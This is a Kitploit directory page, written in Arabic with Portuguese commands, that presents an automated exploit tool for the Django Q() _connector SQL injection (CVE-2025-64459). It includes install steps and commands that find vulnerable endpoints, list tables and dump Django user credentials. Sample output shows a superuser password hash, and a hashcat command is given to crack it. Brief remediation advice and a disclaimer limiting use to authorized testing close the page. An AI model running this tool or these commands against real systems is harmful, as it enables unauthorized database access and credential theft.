Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
RedTeamBrasil-CVE-2025-64459 — NEO-SQLi — استغلال حقن SQL في Django _connector (CVE-2025-64459) | canal RedTeam Brasil | Kitploit
أدوات/GitHubGitHub/rafaelchriss/redteambrasil-cve-2025-64459
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمأمن قواعد البيانات
GitHubrafaelchriss/redteambrasil-cve-2025-64459

RedTeamBrasil-CVE-2025-64459

NEO-SQLi — استغلال حقن SQL في Django _connector (CVE-2025-64459) | canal RedTeam Brasil

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

connector-sqli

استغلال آلي لحقن SQL في ORM الخاص بـ Django
Q-object _connector · CVE-2025-64459

cve django python license

🎥 قناة RedTeam Brasil — الأمن الهجومي، عمليًا، بالبرتغالية.

root@kitploit:~
   ██████╗ ████████╗██████╗    connector-sqli
   ██╔══██╗╚══██╔══╝██╔══██╗   Django Q() `_connector` SQLi
   ██████╔╝   ██║   ██████╔╝   CVE-2025-64459
   ██╔══██╗   ██║   ██╔══██╗   canal RedTeam Brasil
   ██║  ██║   ██║   ██████╔╝   youtube.com/@RedTeamBrasil
   ╚═╝  ╚═╝   ╚═╝   ╚═════╝    uso autorizado apenas

📌 حول الثغرة — CVE-2025-64459

يقوم ORM في Django ببناء الفلاتر باستخدام كائنات Q(). المُنشئ Q(*args, _connector=None, _negated=False, **kwargs) يقبل الـ kwarg الخاص _connector — السلسلة (AND/OR) التي تربط الشروط داخل WHERE.

في الإصدارات المتأثرة لم تكن هذه القيمة تُعقَّم وكانت تصل خامًا إلى استعلام SQL. عندما يمرر التطبيق مدخلات المستخدم مباشرةً إلى Q() / .filter() / .exclude() / .get() عبر توسيع القاموس — النمط المضاد الكلاسيكي:

root@kitploit:~
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET))     # ou .filter(**request.GET)

…عندها يتحكم المهاجم في _connector ويحقن SQL عشوائيًا بين الشروط (ينطبق على SQLite وPostgreSQL وMySQL وغيرها).

مع تفعيل DEBUG = True يصبح الاستغلال يسيرًا للغاية: صفحة الخطأ في Django تُرجع استعلام SQL المركّب والجدول الأساسي وعدد الأعمدة — وهو بالضبط ما تستخدمه الأداة لبناء UNION بمفردها.


⚡ الميزات

مستكشف عام (غير مقيّد بهدف معيّن) وآلي:

  • 🧭 يعثر على الـ endpoint بنفسه (--auto): زحف على الصفحة الرئيسية + robots/sitemap + قائمة كلمات مدمجة، مع اختبار كل مسار عبر FieldError الخاص بـ Django.
  • 🔎 يكتشف الـ endpoint المعرّض للثغرة وحالة DEBUG=True عبر FieldError.
  • 🧠 يكتشف تلقائيًا الجدول الأساسي وعدد الأعمدة من خلال قراءة SQL من صفحة الخطأ.
  • 🎯 يعثر على العمود المُنعكس باستخدام علامات ← الاستخراج عبر المحددات (بغض النظر عن كيفية عرض الصفحة).
  • 🗃️ يسرد الجداول ← يسرد الأعمدة ← يفرّغ (dump) أي جدول (قائم على UNION).
  • 🐚 وضع تفاعلي (قائمة: جدول ← أعمدة ← تفريغ).
  • 🧪 بروكسي (Burp/mitmproxy عبر --proxy) وأهداف HTTPS.

🚀 التثبيت

root@kitploit:~
git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py

🎮 الاستخدام

root@kitploit:~
# 1) confirmar a falha
python3 rtb_connector_sqli.py -u http://ALVO check

# 2) listar tabelas
python3 rtb_connector_sqli.py -u http://ALVO tables

# 3) listar colunas de uma tabela
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user

# 4) dumpar (colunas específicas ou todas)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"

# 5) atalho pros usuários do Django
python3 rtb_connector_sqli.py -u http://ALVO users

# 6) expressão SQL livre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"

# 7) MODO INTERATIVO (menu tabela → colunas → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell

# 8) NÃO SABE A ROTA? deixa ele achar sozinho
python3 rtb_connector_sqli.py -u http://ALVO auto              # só descobre e lista
python3 rtb_connector_sqli.py -u http://ALVO --auto shell      # descobre e já explora

باستخدام --auto (أو الأمر الفرعي auto) يقوم بالزحف على الصفحة الرئيسية + robots.txt/sitemap.xml ويشغّل قائمة كلمات مدمجة لمسارات العرض/البحث (EN + PT-BR + APIs)، مع تحديد المسارات التي تُرجع FieldError الخاص بـ Django. إذا مرّرت --path خاطئًا، فإنه ينتقل إلى وضع الاكتشاف تلقائيًا.

الخيارات

root@kitploit:~
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users

# ou por variável de ambiente (sem a flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell

🖥️ مثال على المخرجات

root@kitploit:~
[*] Alvo: http://ALVO/list
[+] Campos do model (6): author, content, created_at, id, status, title
[+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabela base: <app>_<model>   ·   colunas no SELECT: 6
[+] Coluna refletida (leitura): posição 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──

ومعك هاش (hash) المستخدم المتميّز (superuser) في متناول اليد:

root@kitploit:~
hashcat -m 10000 hash.txt rockyou.txt      # Django usa pbkdf2_sha256

🛡️ المعالجة

  1. حدّث Django إلى 4.2.26 / 5.1.14 / 5.2.8+.
  2. لا تمرر أبدًا request.GET مباشرةً إلى Q()/.filter(). استخدم قائمة مسموحة (allow-list):
    root@kitploit:~
    ALLOWED = {"title__icontains", "status"}
    safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
    Post.objects.filter(**safe)
    
  3. اجعل DEBUG = False في بيئة الإنتاج (لا تُسرّب SQL/الجداول/الإعدادات).
  4. استخدم مستخدم قاعدة بيانات بأقل صلاحية.

⚖️ إخلاء المسؤولية القانوني

أداة تعليمية وللاستخدام في اختبارات مصرّح بها فقط (المختبرات، مسابقات CTF، برامج مكافآت الثغرات ضمن النطاق، اختبار اختراق متعاقَد عليه). استخدامها ضد أنظمة دون إذن صريح هو جريمة — أنت المسؤول الوحيد.


من إعداد RedTeam Brasil · أعجبك؟ اترك لايك واشترك في القناة.

تنزيل الأداة
البندالتفاصيل
CVECVE-2025-64459
المكوّنdjango.db.models — Q() / QuerySet (وسيط _connector وأسماء الأعمدة المستعارة)
الإصدارات المتأثرةDjango < 4.2.26، < 5.1.14، < 5.2.8
الإصلاحالتحديث إلى 4.2.26 / 5.1.14 / 5.2.8 (أو أحدث)
التأثيرقراءة عشوائية لقاعدة البيانات (UNION/blind) ← تفريغ بيانات الاعتماد وتصعيد سلسلة الهجوم
الخيارالغرض
--path /buscarالـ endpoint المعرّض للثغرة (الافتراضي /list)
--autoيعثر على الـ endpoint بنفسه (زحف + قائمة كلمات)
--wordlist rotas.txtمسارات إضافية للاكتشاف (مسار واحد لكل سطر)
--base app_modelيفرض الجدول الأساسي (إذا فشل الاكتشاف التلقائي)
--proxy http://127.0.0.1:8080يمرر كل شيء عبر Burp / mitmproxy